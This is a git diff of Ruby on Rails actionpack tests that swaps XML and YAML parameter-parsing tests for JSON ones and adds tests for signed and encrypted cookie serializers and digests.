- @controller.prepend_view_path(%w(foo bar))
- assert_paths "foo", "bar", "baz", FIXTURE_LOAD_PATH
- assert_paths TestController, *class_view_paths
- end
-
- def test_view_paths
- get :hello_world
- assert_response :success
- assert_equal "Hello world!", @response.body
- end
-
- def test_view_paths_override
- TestController.prepend_view_path "#{FIXTURE_LOAD_PATH}/override"
- get :hello_world
- assert_response :success
- assert_equal "Hello overridden world!", @response.body
- end
-
- def test_view_paths_override_for_layouts_in_controllers_with_a_module
- @controller = Test::SubController.new
- Test::SubController.view_paths = [ "#{FIXTURE_LOAD_PATH}/override", FIXTURE_LOAD_PATH, "#{FIXTURE_LOAD_PATH}/override2" ]
- get :hello_world
- assert_response :success
- assert_equal "layout: Hello overridden world!", @response.body
- end
-
- def test_view_paths_override_at_request_time
- get :hello_world_at_request_time
- assert_response :success
- assert_equal "Hello overridden world!", @response.body
- end
-
- def test_decorate_view_paths_with_custom_resolver
- decorator_class = Class.new(ActionView::PathResolver) do
- def initialize(path_set)
- @path_set = path_set
- end
-
- def find_all(*args)
- @path_set.find_all(*args).collect do |template|
- ::ActionView::Template.new(
- "Decorated body",
- template.identifier,
- template.handler,
- {
- :virtual_path => template.virtual_path,
- :format => template.formats
- }
- )
- end
- end
- end
-
- decorator = decorator_class.new(TestController.view_paths)
- TestController.view_paths = ActionView::PathSet.new.push(decorator)
-
- get :hello_world
- assert_response :success
- assert_equal "Decorated body", @response.body
- end
-
- def test_inheritance
- original_load_paths = ActionController::Base.view_paths
-
- self.class.class_eval %{
- class A < ActionController::Base; end
- class B < A; end
- class C < ActionController::Base; end
- }
-
- A.view_paths = ['a/path']
-
- assert_paths A, "a/path"
- assert_paths A, *B.view_paths
- assert_paths C, *original_load_paths
-
- C.view_paths = []
- assert_nothing_raised { C.append_view_path 'c/path' }
- assert_paths C, "c/path"
- end
-
- def test_lookup_context_accessor
- assert_equal ["test"], TestController.new.lookup_context.prefixes
- end
-end
diff --git a/actionpack/test/controller/webservice_test.rb b/actionpack/test/controller/webservice_test.rb
index c0b9833603..2b109ff19e 100644
--- a/actionpack/test/controller/webservice_test.rb
+++ b/actionpack/test/controller/webservice_test.rb
@@ -1,4 +1,5 @@
require 'abstract_unit'
+require 'active_support/json/decoding'
class WebServiceTest < ActionDispatch::IntegrationTest
class TestController < ActionController::Base
@@ -32,211 +33,62 @@ class WebServiceTest < ActionDispatch::IntegrationTest
end
end
- def test_post_xml
+ def test_post_json
with_test_route_set do
- post "/", '<entry attributed="true"><summary>content...</summary></entry>',
- {'CONTENT_TYPE' => 'application/xml'}
+ post "/", '{"entry":{"summary":"content..."}}', 'CONTENT_TYPE' => 'application/json'
assert_equal 'entry', @controller.response.body
assert @controller.params.has_key?(:entry)
assert_equal 'content...', @controller.params["entry"]['summary']
- assert_equal 'true', @controller.params["entry"]['attributed']
end
end
- def test_put_xml
+ def test_put_json
with_test_route_set do
- put "/", '<entry attributed="true"><summary>content...</summary></entry>',
- {'CONTENT_TYPE' => 'application/xml'}
+ put "/", '{"entry":{"summary":"content..."}}', 'CONTENT_TYPE' => 'application/json'
assert_equal 'entry', @controller.response.body
assert @controller.params.has_key?(:entry)
assert_equal 'content...', @controller.params["entry"]['summary']
- assert_equal 'true', @controller.params["entry"]['attributed']
end
end
- def test_put_xml_using_a_type_node
+ def test_register_and_use_json_simple
with_test_route_set do
- put "/", '<type attributed="true"><summary>content...</summary></type>',
- {'CONTENT_TYPE' => 'application/xml'}
-
- assert_equal 'type', @controller.response.body
- assert @controller.params.has_key?(:type)
- assert_equal 'content...', @controller.params["type"]['summary']
- assert_equal 'true', @controller.params["type"]['attributed']
- end
- end
-
- def test_put_xml_using_a_type_node_and_attribute
- with_test_route_set do
- put "/", '<type attributed="true"><summary type="boolean">false</summary></type>',
- {'CONTENT_TYPE' => 'application/xml'}
-
- assert_equal 'type', @controller.response.body
- assert @controller.params.has_key?(:type)
- assert_equal false, @controller.params["type"]['summary']
- assert_equal 'true', @controller.params["type"]['attributed']
- end
- end
-
- def test_post_xml_using_a_type_node
- with_test_route_set do
- post "/", '<font attributed="true"><type>arial</type></font>',
- {'CONTENT_TYPE' => 'application/xml'}
-
- assert_equal 'font', @controller.response.body
- assert @controller.params.has_key?(:font)
- assert_equal 'arial', @controller.params['font']['type']
- assert_equal 'true', @controller.params["font"]['attributed']
- end
- end
-
- def test_post_xml_using_a_root_node_named_type
- with_test_route_set do
- post "/", '<type type="integer">33</type>',
- {'CONTENT_TYPE' => 'application/xml'}
-
- assert @controller.params.has_key?(:type)
- assert_equal 33, @controller.params['type']
- end
- end
-
- def test_post_xml_using_an_attributted_node_named_type
- with_test_route_set do
- with_params_parsers Mime::XML => Proc.new { |data| Hash.from_xml(data)['request'].with_indifferent_access } do
- post "/", '<request><type type="string">Arial,12</type><z>3</z></request>',
- {'CONTENT_TYPE' => 'application/xml'}
-
- assert_equal 'type, z', @controller.response.body
- assert @controller.params.has_key?(:type)
- assert_equal 'Arial,12', @controller.params['type'], @controller.params.inspect
- assert_equal '3', @controller.params['z'], @controller.params.inspect
- end
- end
- end
-
- def test_register_and_use_yaml
- with_test_route_set do
- with_params_parsers Mime::YAML => Proc.new { |d| YAML.load(d) } do
- post "/", {"entry" => "loaded from yaml"}.to_yaml,
- {'CONTENT_TYPE' => 'application/x-yaml'}
-
- assert_equal 'entry', @controller.response.body
- assert @controller.params.has_key?(:entry)
- assert_equal 'loaded from yaml', @controller.params["entry"]
- end
- end
- end
-
- def test_register_and_use_yaml_as_symbol
- with_test_route_set do
- with_params_parsers Mime::YAML => :yaml do
- post "/", {"entry" => "loaded from yaml"}.to_yaml,
- {'CONTENT_TYPE' => 'application/x-yaml'}
-
- assert_equal 'entry', @controller.response.body
- assert @controller.params.has_key?(:entry)
- assert_equal 'loaded from yaml', @controller.params["entry"]
- end
- end
- end
-
- def test_register_and_use_xml_simple
- with_test_route_set do
- with_params_parsers Mime::XML => Proc.new { |data| Hash.from_xml(data)['request'].with_indifferent_access } do
- post "/", '<request><summary>content...</summary><title>SimpleXml</title></request>',
- {'CONTENT_TYPE' => 'application/xml'}
+ with_params_parsers Mime::JSON => Proc.new { |data| ActiveSupport::JSON.decode(data)['request'].with_indifferent_access } do
+ post "/", '{"request":{"summary":"content...","title":"JSON"}}',
+ 'CONTENT_TYPE' => 'application/json'
assert_equal 'summary, title', @controller.response.body
assert @controller.params.has_key?(:summary)
assert @controller.params.has_key?(:title)
assert_equal 'content...', @controller.params["summary"]
- assert_equal 'SimpleXml', @controller.params["title"]
+ assert_equal 'JSON', @controller.params["title"]
end
end
end
- def test_use_xml_ximple_with_empty_request
+ def test_use_json_with_empty_request
with_test_route_set do
- assert_nothing_raised { post "/", "", {'CONTENT_TYPE' => 'application/xml'} }
+ assert_nothing_raised { post "/", "", 'CONTENT_TYPE' => 'application/json' }
assert_equal '', @controller.response.body
end
end
- def test_dasherized_keys_as_xml
- with_test_route_set do
- post "/?full=1", "<first-key>\n<sub-key>...</sub-key>\n</first-key>",
- {'CONTENT_TYPE' => 'application/xml'}
- assert_equal 'action, controller, first_key(sub_key), full', @controller.response.body
- assert_equal "...", @controller.params[:first_key][:sub_key]
- end
- end
-
- def test_typecast_as_xml
+ def test_dasherized_keys_as_json
with_test_route_set do
- xml = <<-XML
- <data>
- <a type="integer">15</a>
- <b type="boolean">false</b>
- <c type="boolean">true</c>
- <d type="date">2005-03-17</d>
- <e type="datetime">2005-03-17T21:41:07Z</e>
- <f>unparsed</f>
- <g type="integer">1</g>
- <g>hello</g>
- <g type="date">1974-07-25</g>
- </data>
- XML
- post "/", xml, {'CONTENT_TYPE' => 'application/xml'}
-
- params = @controller.params
- assert_equal 15, params[:data][:a]
- assert_equal false, params[:data][:b]
- assert_equal true, params[:data][:c]
- assert_equal Date.new(2005,3,17), params[:data][:d]
- assert_equal Time.utc(2005,3,17,21,41,7), params[:data][:e]
- assert_equal "unparsed", params[:data][:f]
- assert_equal [1, "hello", Date.new(1974,7,25)], params[:data][:g]
- end
- end
-
- def test_entities_unescaped_as_xml_simple
- with_test_route_set do
- xml = <<-XML
- <data>&lt;foo &quot;bar&apos;s&quot; &amp; friends&gt;</data>
- XML
- post "/", xml, {'CONTENT_TYPE' => 'application/xml'}
- assert_equal %(<foo "bar's" & friends>), @controller.params[:data]
+ post "/?full=1", '{"first-key":{"sub-key":"..."}}', 'CONTENT_TYPE' => 'application/json'
+ assert_equal 'action, controller, first-key(sub-key), full', @controller.response.body
+ assert_equal "...", @controller.params['first-key']['sub-key']
end
end
- def test_typecast_as_yaml
+ def test_parsing_json_doesnot_rescue_exception
with_test_route_set do
- with_params_parsers Mime::YAML => :yaml do
- yaml = (<<-YAML).strip
- ---
- data:
- a: 15
- b: false
- c: true
- d: 2005-03-17
- e: 2005-03-17T21:41:07Z
- f: unparsed
- g:
- - 1
- - hello
- - 1974-07-25
- YAML
- post "/", yaml, {'CONTENT_TYPE' => 'application/x-yaml'}
- params = @controller.params
- assert_equal 15, params[:data][:a]
- assert_equal false, params[:data][:b]
- assert_equal true, params[:data][:c]
- assert_equal Date.new(2005,3,17), params[:data][:d]
- assert_equal Time.utc(2005,3,17,21,41,7), params[:data][:e]
- assert_equal "unparsed", params[:data][:f]
- assert_equal [1, "hello", Date.new(1974,7,25)], params[:data][:g]
+ with_params_parsers Mime::JSON => Proc.new { |data| raise Interrupt } do
+ assert_raises(Interrupt) do
+ post "/", '{"title":"JSON"}}', 'CONTENT_TYPE' => 'application/json'
+ end
end
end
end
diff --git a/actionpack/test/dispatch/best_standards_support_test.rb b/actionpack/test/dispatch/best_standards_support_test.rb
deleted file mode 100644
index 0737c40a39..0000000000
--- a/actionpack/test/dispatch/best_standards_support_test.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-require 'abstract_unit'
-
-class BestStandardsSupportTest < ActiveSupport::TestCase
- def test_with_best_standards_support
- _, headers, _ = app(true, {}).call({})
- assert_equal "IE=Edge,chrome=1", headers["X-UA-Compatible"]
- end
-
- def test_with_builtin_best_standards_support
- _, headers, _ = app(:builtin, {}).call({})
- assert_equal "IE=Edge", headers["X-UA-Compatible"]
- end
-
- def test_without_best_standards_support
- _, headers, _ = app(false, {}).call({})
- assert_equal nil, headers["X-UA-Compatible"]
- end
-
- def test_appends_to_app_headers
- app_headers = { "X-UA-Compatible" => "requiresActiveX=true" }
- _, headers, _ = app(true, app_headers).call({})
-
- expects = "requiresActiveX=true,IE=Edge,chrome=1"
- assert_equal expects, headers["X-UA-Compatible"]
- end
-
- private
-
- def app(type, headers)
- app = proc { [200, headers, "response"] }
- ActionDispatch::BestStandardsSupport.new(app, type)
- end
-
-end
diff --git a/actionpack/test/dispatch/cookies_test.rb b/actionpack/test/dispatch/cookies_test.rb
index 448a0e12eb..19a98a4054 100644
--- a/actionpack/test/dispatch/cookies_test.rb
+++ b/actionpack/test/dispatch/cookies_test.rb
@@ -1,8 +1,29 @@
require 'abstract_unit'
-# FIXME remove DummyKeyGenerator and this require in 4.1
+require 'openssl'
require 'active_support/key_generator'
+require 'active_support/message_verifier'
class CookiesTest < ActionController::TestCase
+ class CustomSerializer
+ def self.load(value)
+ value.to_s + " and loaded"
+ end
+
+ def self.dump(value)
+ value.to_s + " was dumped"
+ end
+ end
+
+ class JSONWrapper
+ def initialize(obj)
+ @obj = obj
+ end
+
+ def as_json(options = nil)
+ "wrapped: #{@obj.as_json(options)}"
+ end
+ end
+
class TestController < ActionController::Base
def authenticate
cookies["user_name"] = "david"
@@ -67,11 +88,36 @@ class CookiesTest < ActionController::TestCase
head :ok
end
+ def set_wrapped_signed_cookie
+ cookies.signed[:user_id] = JSONWrapper.new(45)
+ head :ok
+ end
+
+ def get_signed_cookie
+ cookies.signed[:user_id]
+ head :ok
+ end
+
def set_encrypted_cookie
cookies.encrypted[:foo] = 'bar'
head :ok
end
+ def set_wrapped_encrypted_cookie
+ cookies.encrypted[:foo] = JSONWrapper.new('bar')
+ head :ok
+ end
+
+ def get_encrypted_cookie
+ cookies.encrypted[:foo]
+ head :ok
+ end
+
+ def set_invalid_encrypted_cookie
+ cookies[:invalid_cookie] = 'invalid--9170e00a57cfc27083363b5c75b835e477bd90cf'
+ head :ok
+ end
+
def raise_data_overflow
cookies.signed[:foo] = 'bye!' * 1024
head :ok
@@ -163,13 +209,43 @@ class CookiesTest < ActionController::TestCase
def setup
super
- @request.env["action_dispatch.key_generator"] = ActiveSupport::KeyGenerator.new("b3c631c314c0bbca50c1b2843150fe33")
+ @request.env["action_dispatch.key_generator"] = ActiveSupport::KeyGenerator.new("b3c631c314c0bbca50c1b2843150fe33", iterations: 2)
@request.env["action_dispatch.signed_cookie_salt"] = "b3c631c314c0bbca50c1b2843150fe33"
@request.env["action_dispatch.encrypted_cookie_salt"] = "b3c631c314c0bbca50c1b2843150fe33"
@request.env["action_dispatch.encrypted_signed_cookie_salt"] = "b3c631c314c0bbca50c1b2843150fe33"
@request.host = "www.nextangle.com"
end
+ def test_fetch
+ x = Object.new
+ assert_not request.cookie_jar.key?('zzzzzz')
+ assert_equal x, request.cookie_jar.fetch('zzzzzz', x)
+ assert_not request.cookie_jar.key?('zzzzzz')
+ end
+
+ def test_fetch_exists
+ x = Object.new
+ request.cookie_jar['foo'] = 'bar'
+ assert_equal 'bar', request.cookie_jar.fetch('foo', x)
+ end
+
+ def test_fetch_block
+ x = Object.new
+ assert_not request.cookie_jar.key?('zzzzzz')
+ assert_equal x, request.cookie_jar.fetch('zzzzzz') { x }
+ end
+
+ def test_key_is_to_s
+ request.cookie_jar['foo'] = 'bar'
+ assert_equal 'bar', request.cookie_jar.fetch(:foo)
+ end
+
+ def test_fetch_type_error
+ assert_raises(KeyError) do
+ request.cookie_jar.fetch(:omglolwut)
+ end
+ end
+
def test_each
request.cookie_jar['foo'] = :bar
list = []
@@ -210,7 +286,7 @@ class CookiesTest < ActionController::TestCase
def test_setting_the_same_value_to_permanent_cookie
request.cookies[:user_name] = 'Jamie'
get :set_permanent_cookie
- assert_equal response.cookies, 'user_name' => 'Jamie'
+ assert_equal({'user_name' => 'Jamie'}, response.cookies)
end
def test_setting_with_escapable_characters
@@ -221,13 +297,13 @@ class CookiesTest < ActionController::TestCase
def test_setting_cookie_for_fourteen_days
get :authenticate_for_fourteen_days
- assert_cookie_header "user_name=david; path=/; expires=Mon, 10-Oct-2005 05:00:00 GMT"
+ assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000"
assert_equal({"user_name" => "david"}, @response.cookies)
end
def test_setting_cookie_for_fourteen_days_with_symbols
get :authenticate_for_fourteen_days_with_symbols
- assert_cookie_header "user_name=david; path=/; expires=Mon, 10-Oct-2005 05:00:00 GMT"
+ assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000"
assert_equal({"user_name" => "david"}, @response.cookies)
end
@@ -260,7 +336,7 @@ class CookiesTest < ActionController::TestCase
def test_multiple_cookies
get :set_multiple_cookies
assert_equal 2, @response.cookies.size
- assert_cookie_header "user_name=david; path=/; expires=Mon, 10-Oct-2005 05:00:00 GMT\nlogin=XJ-122; path=/"
+ assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000\nlogin=XJ-122; path=/"
assert_equal({"login" => "XJ-122", "user_name" => "david"}, @response.cookies)
end
@@ -271,14 +347,14 @@ class CookiesTest < ActionController::TestCase
def test_expiring_cookie
request.cookies[:user_name] = 'Joe'
get :logout
- assert_cookie_header "user_name=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT"
+ assert_cookie_header "user_name=; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
assert_equal({"user_name" => nil}, @response.cookies)
end
def test_delete_cookie_with_path
request.cookies[:user_name] = 'Joe'
get :delete_cookie_with_path
- assert_cookie_header "user_name=; path=/beaten; expires=Thu, 01-Jan-1970 00:00:00 GMT"
+ assert_cookie_header "user_name=; path=/beaten; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
end
def test_delete_unexisting_cookie
@@ -305,18 +381,139 @@ class CookiesTest < ActionController::TestCase
assert response.headers["Set-Cookie"] =~ /user_name=david/
end
- def test_permanent_cookie
+ def test_set_permanent_cookie
get :set_permanent_cookie
assert_match(/Jamie/, @response.headers["Set-Cookie"])
assert_match(%r(#{20.years.from_now.utc.year}), @response.headers["Set-Cookie"])
end
- def test_signed_cookie
+ def test_read_permanent_cookie
+ get :set_permanent_cookie
+ assert_equal 'Jamie', @controller.send(:cookies).permanent[:user_name]
+ end
+
+ def test_signed_cookie_using_default_digest
get :set_signed_cookie
- assert_equal 45, @controller.send(:cookies).signed[:user_id]
+ cookies = @controller.send :cookies
+ assert_not_equal 45, cookies[:user_id]
+ assert_equal 45, cookies.signed[:user_id]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+ secret = key_generator.generate_key(signed_cookie_salt)
+
+ verifier = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal, digest: 'SHA1')
+ assert_equal verifier.generate(45), cookies[:user_id]
+ end
+
+ def test_signed_cookie_using_custom_digest
+ @request.env["action_dispatch.cookies_digest"] = 'SHA256'
+ get :set_signed_cookie
+ cookies = @controller.send :cookies
+ assert_not_equal 45, cookies[:user_id]
+ assert_equal 45, cookies.signed[:user_id]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+ secret = key_generator.generate_key(signed_cookie_salt)
+
+ verifier = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal, digest: 'SHA256')
+ assert_equal verifier.generate(45), cookies[:user_id]
+ end
+
+ def test_signed_cookie_using_default_serializer
+ get :set_signed_cookie
+ cookies = @controller.send :cookies
+ assert_not_equal 45, cookies[:user_id]
+ assert_equal 45, cookies.signed[:user_id]
+ end
+
+ def test_signed_cookie_using_marshal_serializer
+ @request.env["action_dispatch.cookies_serializer"] = :marshal
+ get :set_signed_cookie
+ cookies = @controller.send :cookies
+ assert_not_equal 45, cookies[:user_id]
+ assert_equal 45, cookies.signed[:user_id]
+ end
+
+ def test_signed_cookie_using_json_serializer
+ @request.env["action_dispatch.cookies_serializer"] = :json
+ get :set_signed_cookie
+ cookies = @controller.send :cookies
+ assert_not_equal 45, cookies[:user_id]
+ assert_equal 45, cookies.signed[:user_id]
+ end
+
+ def test_wrapped_signed_cookie_using_json_serializer
+ @request.env["action_dispatch.cookies_serializer"] = :json
+ get :set_wrapped_signed_cookie
+ cookies = @controller.send :cookies
+ assert_not_equal 'wrapped: 45', cookies[:user_id]
+ assert_equal 'wrapped: 45', cookies.signed[:user_id]
+ end
+
+ def test_signed_cookie_using_custom_serializer
+ @request.env["action_dispatch.cookies_serializer"] = CustomSerializer
+ get :set_signed_cookie
+ assert_not_equal 45, cookies[:user_id]
+ assert_equal '45 was dumped and loaded', cookies.signed[:user_id]
+ end
+
+ def test_signed_cookie_using_hybrid_serializer_can_migrate_marshal_dumped_value_to_json
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+ secret = key_generator.generate_key(signed_cookie_salt)
+
+ marshal_value = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal).generate(45)
+ @request.headers["Cookie"] = "user_id=#{marshal_value}"
+
+ get :get_signed_cookie
+
+ cookies = @controller.send :cookies
+ assert_not_equal 45, cookies[:user_id]
+ assert_equal 45, cookies.signed[:user_id]
+
+ verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+ assert_equal 45, verifier.verify(@response.cookies['user_id'])
+ end
+
+ def test_signed_cookie_using_hybrid_serializer_can_read_from_json_dumped_value
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+ secret = key_generator.generate_key(signed_cookie_salt)
+ json_value = ActiveSupport::MessageVerifier.new(secret, serializer: JSON).generate(45)
+ @request.headers["Cookie"] = "user_id=#{json_value}"
+
+ get :get_signed_cookie
+
+ cookies = @controller.send :cookies
+ assert_not_equal 45, cookies[:user_id]
+ assert_equal 45, cookies.signed[:user_id]
+
+ assert_nil @response.cookies["user_id"]
+ end
+
+ def test_accessing_nonexistent_signed_cookie_should_not_raise_an_invalid_signature
+ get :set_signed_cookie
+ assert_nil @controller.send(:cookies).signed[:non_existant_attribute]
+ end
+
+ def test_encrypted_cookie_using_default_serializer
+ get :set_encrypted_cookie
+ cookies = @controller.send :cookies
+ assert_not_equal 'bar', cookies[:foo]
+ assert_raise TypeError do
+ cookies.signed[:foo]
+ end
+ assert_equal 'bar', cookies.encrypted[:foo]
end
- def test_encrypted_cookie
+ def test_encrypted_cookie_using_marshal_serializer
+ @request.env["action_dispatch.cookies_serializer"] = :marshal
get :set_encrypted_cookie
cookies = @controller.send :cookies
assert_not_equal 'bar', cookies[:foo]
@@ -326,9 +523,106 @@ class CookiesTest < ActionController::TestCase
assert_equal 'bar', cookies.encrypted[:foo]
end
- def test_accessing_nonexistant_signed_cookie_should_not_raise_an_invalid_signature
- get :set_signed_cookie
- assert_nil @controller.send(:cookies).signed[:non_existant_attribute]
+ def test_encrypted_cookie_using_json_serializer
+ @request.env["action_dispatch.cookies_serializer"] = :json
+ get :set_encrypted_cookie
+ cookies = @controller.send :cookies
+ assert_not_equal 'bar', cookies[:foo]
+ assert_raises ::JSON::ParserError do
+ cookies.signed[:foo]
+ end
+ assert_equal 'bar', cookies.encrypted[:foo]
+ end
+
+ def test_wrapped_encrypted_cookie_using_json_serializer
+ @request.env["action_dispatch.cookies_serializer"] = :json
+ get :set_wrapped_encrypted_cookie
+ cookies = @controller.send :cookies
+ assert_not_equal 'wrapped: bar', cookies[:foo]
+ assert_raises ::JSON::ParserError do
+ cookies.signed[:foo]
+ end
+ assert_equal 'wrapped: bar', cookies.encrypted[:foo]
+ end
+
+ def test_encrypted_cookie_using_custom_serializer
+ @request.env["action_dispatch.cookies_serializer"] = CustomSerializer
+ get :set_encrypted_cookie
+ assert_not_equal 'bar', cookies.encrypted[:foo]
+ assert_equal 'bar was dumped and loaded', cookies.encrypted[:foo]
+ end
+
+ def test_encrypted_cookie_using_custom_digest
+ @request.env["action_dispatch.cookies_digest"] = 'SHA256'
+ get :set_encrypted_cookie
+ cookies = @controller.send :cookies
+ assert_not_equal 'bar', cookies[:foo]
+ assert_equal 'bar', cookies.encrypted[:foo]
+
+ sign_secret = @request.env["action_dispatch.key_generator"].generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+
+ sha1_verifier = ActiveSupport::MessageVerifier.new(sign_secret, serializer: ActiveSupport::MessageEncryptor::NullSerializer, digest: 'SHA1')
+ sha256_verifier = ActiveSupport::MessageVerifier.new(sign_secret, serializer: ActiveSupport::MessageEncryptor::NullSerializer, digest: 'SHA256')
+
+ assert_raises(ActiveSupport::MessageVerifier::InvalidSignature) do
+ sha1_verifier.verify(cookies[:foo])
+ end
+
+ assert_nothing_raised do
+ sha256_verifier.verify(cookies[:foo])
+ end
+ end
+
+ def test_encrypted_cookie_using_hybrid_serializer_can_migrate_marshal_dumped_value_to_json
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
+ encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
+ secret = key_generator.generate_key(encrypted_cookie_salt)
+ sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+
+ marshal_value = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: Marshal).encrypt_and_sign("bar")
+ @request.headers["Cookie"] = "foo=#{marshal_value}"
+
+ get :get_encrypted_cookie
+
+ cookies = @controller.send :cookies
+ assert_not_equal "bar", cookies[:foo]
+ assert_equal "bar", cookies.encrypted[:foo]
+
+ encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+ assert_equal "bar", encryptor.decrypt_and_verify(@response.cookies["foo"])
+ end
+
+ def test_encrypted_cookie_using_hybrid_serializer_can_read_from_json_dumped_value
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
+ encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
+ secret = key_generator.generate_key(encrypted_cookie_salt)
+ sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+ json_value = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON).encrypt_and_sign("bar")
+ @request.headers["Cookie"] = "foo=#{json_value}"
+
+ get :get_encrypted_cookie
+
+ cookies = @controller.send :cookies
+ assert_not_equal "bar", cookies[:foo]
+ assert_equal "bar", cookies.encrypted[:foo]
+
+ assert_nil @response.cookies["foo"]
+ end
+
+ def test_accessing_nonexistent_encrypted_cookie_should_not_raise_invalid_message
+ get :set_encrypted_cookie
+ assert_nil @controller.send(:cookies).encrypted[:non_existant_attribute]
+ end
+
+ def test_setting_invalid_encrypted_cookie_should_return_nil_when_accessing_it
+ get :set_invalid_encrypted_cookie
+ assert_nil @controller.send(:cookies).encrypted[:invalid_cookie]
end
def test_permanent_signed_cookie
@@ -340,7 +634,7 @@ class CookiesTest < ActionController::TestCase
def test_delete_and_set_cookie
request.cookies[:user_name] = 'Joe'
get :delete_and_set_cookie
- assert_cookie_header "user_name=david; path=/; expires=Mon, 10-Oct-2005 05:00:00 GMT"
+ assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000"
assert_equal({"user_name" => "david"}, @response.cookies)
end
@@ -359,33 +653,265 @@ class CookiesTest < ActionController::TestCase
def test_raises_argument_error_if_missing_secret
assert_raise(ArgumentError, nil.inspect) {
- @request.env["action_dispatch.key_generator"] = ActiveSupport::DummyKeyGenerator.new(nil)
+ @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new(nil)
get :set_signed_cookie
}
assert_raise(ArgumentError, ''.inspect) {
- @request.env["action_dispatch.key_generator"] = ActiveSupport::DummyKeyGenerator.new("")
+ @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("")
get :set_signed_cookie
}
end
def test_raises_argument_error_if_secret_is_probably_insecure
assert_raise(ArgumentError, "password".inspect) {
- @request.env["action_dispatch.key_generator"] = ActiveSupport::DummyKeyGenerator.new("password")
+ @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("password")
get :set_signed_cookie
}
assert_raise(ArgumentError, "secret".inspect) {
- @request.env["action_dispatch.key_generator"] = ActiveSupport::DummyKeyGenerator.new("secret")
+ @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("secret")
get :set_signed_cookie
}
assert_raise(ArgumentError, "12345678901234567890123456789".inspect) {
- @request.env["action_dispatch.key_generator"] = ActiveSupport::DummyKeyGenerator.new("12345678901234567890123456789")
+ @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("12345678901234567890123456789")
get :set_signed_cookie
}
end
+ def test_signed_uses_signed_cookie_jar_if_only_secret_token_is_set
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = nil
+ get :set_signed_cookie
+ assert_kind_of ActionDispatch::Cookies::SignedCookieJar, cookies.signed
+ end
+
+ def test_signed_uses_signed_cookie_jar_if_only_secret_key_base_is_set
+ @request.env["action_dispatch.secret_token"] = nil
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ get :set_signed_cookie
+ assert_kind_of ActionDispatch::Cookies::SignedCookieJar, cookies.signed
+ end
+
+ def test_signed_uses_upgrade_legacy_signed_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ get :set_signed_cookie
+ assert_kind_of ActionDispatch::Cookies::UpgradeLegacySignedCookieJar, cookies.signed
+ end
+
+ def test_signed_or_encrypted_uses_signed_cookie_jar_if_only_secret_token_is_set
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = nil
+ get :get_encrypted_cookie
+ assert_kind_of ActionDispatch::Cookies::SignedCookieJar, cookies.signed_or_encrypted
+ end
+
+ def test_signed_or_encrypted_uses_encrypted_cookie_jar_if_only_secret_key_base_is_set
+ @request.env["action_dispatch.secret_token"] = nil
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ get :get_encrypted_cookie
+ assert_kind_of ActionDispatch::Cookies::EncryptedCookieJar, cookies.signed_or_encrypted
+ end
+
+ def test_signed_or_encrypted_uses_upgrade_legacy_encrypted_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ get :get_encrypted_cookie
+ assert_kind_of ActionDispatch::Cookies::UpgradeLegacyEncryptedCookieJar, cookies.signed_or_encrypted
+ end
+
+ def test_encrypted_uses_encrypted_cookie_jar_if_only_secret_key_base_is_set
+ @request.env["action_dispatch.secret_token"] = nil
